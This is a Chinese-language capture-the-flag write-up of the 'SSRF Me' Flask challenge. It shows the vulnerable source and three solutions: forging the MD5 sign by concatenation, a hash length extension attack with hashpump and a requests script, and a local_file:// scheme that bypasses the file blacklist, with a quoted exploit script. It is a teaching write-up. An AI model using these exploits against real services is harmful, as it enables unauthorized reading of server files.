SSRF Me
题目提示我们flag在./flag.txt
进去就是源码,一个flask
框架的简易web应用
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102
|
from flask import Flask from flask import request import socket import hashlib import urllib import sys import os import json
reload(sys) sys.setdefaultencoding('latin1')
app = Flask(__name__)
secert_key = os.urandom(16)
class Task: def __init__(self, action, param, sign, ip): self.action = action self.param = param self.sign = sign self.sandbox = md5(ip) if(not os.path.exists(self.sandbox)): os.mkdir(self.sandbox)
def Exec(self): result = {} result['code'] = 500 if (self.checkSign()): if "scan" in self.action: tmpfile = open("./%s/result.txt" % self.sandbox, 'w') resp = scan(self.param) if (resp == "Connection Timeout"): result['data'] = resp else: print(resp) tmpfile.write(resp) tmpfile.close() result['code'] = 200 if "read" in self.action: f = open("./%s/result.txt" % self.sandbox, 'r') result['code'] = 200 result['data'] = f.read() if result['code'] == 500: result['data'] = "Action Error" else: result['code'] = 500 result['msg'] = "Sign Error" return result
def checkSign(self): if (getSign(self.action, self.param) == self.sign): return True else: return False
@app.route("/geneSign", methods=['GET', 'POST']) def geneSign(): param = urllib.unquote(request.args.get("param", "")) action = "scan" return getSign(action, param)
@app.route('/De1ta',methods=['GET','POST']) def challenge(): action = urllib.unquote(request.cookies.get("action")) param = urllib.unquote(request.args.get("param", "")) sign = urllib.unquote(request.cookies.get("sign")) ip = request.remote_addr if(waf(param)): return "No Hacker!!!!" task = Task(action, param, sign, ip) return json.dumps(task.Exec()) @app.route('/') def index(): return open("code.txt","r").read()
def scan(param): socket.setdefaulttimeout(1) try: return urllib.urlopen(param).read()[:50] except: return "Connection Timeout"
def getSign(action, param): return hashlib.md5(secert_key + param + action).hexdigest()
def md5(content): return hashlib.md5(content).hexdigest()
def waf(param): check=param.strip().lower() if check.startswith("gopher") or check.startswith("file"): return True else: return False
if __name__ == '__main__': app.debug = False app.run(host='0.0.0.0',port=80)
|
大概思路就是在 /De1ta 中 设置param=flag.txt
,绕过checksign
检查,并且action
的值中有read
和scan
这两个字符串,然后就会去读取param设置的值: flag.txt
,其中,checksign 为sign=md5(secert_key + param + action)
,/geneSign
路由可以根据传入的param
值构造sign=md5(secert_key+param+action)
但是action被自动赋值成了scan
。
解法一 字符串拼接
/geneSign
路由生成的sign值为:md5(secert_key+param+'scan')
,我们的目的是获取md5(secert_key+'flag.txt'+'read'+'scan')
,param是我们可控的,令param=flag.txtread
,获取到sign
值即可绕过checksign
。
1 2
| /geneSign?param=flag.txtread a3428fe51c0ebdf4540c6276b440ab24
|

flag{5fdf7dfe-3b47-4b05-a571-412d6e2c897f}
解法二 哈系长度扩展攻击
Hash Length Extension Attack
secert_key
是一个长度为 16 的字符串,checksign
比较的是用户传入的sign == md5(secert_key+用户提交param+用户提交action)
,在 /geneSign?param=flag.txt
中可以获取 md5(secert_key + 用户提交param + 'scan')
的值,其中param
是flag.txt,而action
中需要包含read和scan字符串
。
思路就是利用在 /geneSign?param=flag.txt
中获取到的md5(secert_key + 用户提交param + 'scan')
作为md5下一次加密的4个magic number
,来加密我们新增的read
字符串
geneSign?param=flag.txt --> 4db6d8b5a7ddcee0c51eaba436e10620
使用 hashpump 即可:
1 2 3 4 5 6 7
| root@kali:/opt/HashPump# hashpump Input Signature: 4db6d8b5a7ddcee0c51eaba436e10620 Input Data: scan Input Key Length: 24 Input Data to Add: read 2c20c718eae5622e8bfb4a21134ab405 scan\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xe0\x00\x00\x00\x00\x00\x00\x00read
|
python提交
1 2 3 4 5 6 7 8 9 10 11
| import requests
url = 'http://139.180.128.86/De1ta?param=flag.txt'
cookies = { 'sign': '2c20c718eae5622e8bfb4a21134ab405', 'action': 'scan%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%e0%00%00%00%00%00%00%00read', }
res = requests.get(url=url, cookies=cookies) print(res.text)
|
或者burpsuite

解法三 local_file
天枢大佬们的做法 : https://xz.aliyun.com/t/5921#toc-16
放上他们的 exp :
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| import requests conn = requests.Session()
url = "http://139.180.128.86" def geneSign(param): data = { "param": param } resp = conn.get(url+"/geneSign",params=data).text print resp return resp
def challenge(action,param,sign): cookie={ "action":action, "sign":sign } params={ "param":param } resp = conn.get(url+"/De1ta",params=params,cookies=cookie) return resp.text filename = "local_file:///app/flag.txt" a = [] for i in range(1): sign = geneSign("{}read".format(filename.format(i))) resp = challenge("readscan",filename.format(i),sign) if("title" in resp): a.append(i) print resp,i print a
|
请求 /geneSign?param=local_file:///app/flag.txtread
获取 md5 值为 60ff07b83381a35d13caaf2daf583c94
,即 md5(secert_key + 'local_file:///app/flag.txtread' + 'scan')
然后再请求 /De1ta?param=local_file:///app/flag.txt
构造 cookie action=readscan;sign=60ff07b83381a35d13caaf2daf583c94
以上就是他们 exp 做的事情,和上一个方法差不多
关于 local_file
:
参考 : https://bugs.python.org/issue35907
这里是使用的 urllib.urlopen(param) 去包含的文件,所以可以直接加上文件路径 flag.txt
或 ./flag.txt
去访问,也可以使用类似的 file:///app/flag.txt
去访问,但是 file
关键字在黑名单里,可以使用 local_file
代替
如果使用 urllib2.urlopen(param) 去包含文件就必须加上 file
,否则会报 ValueError: unknown url type: /path/to/file
的错误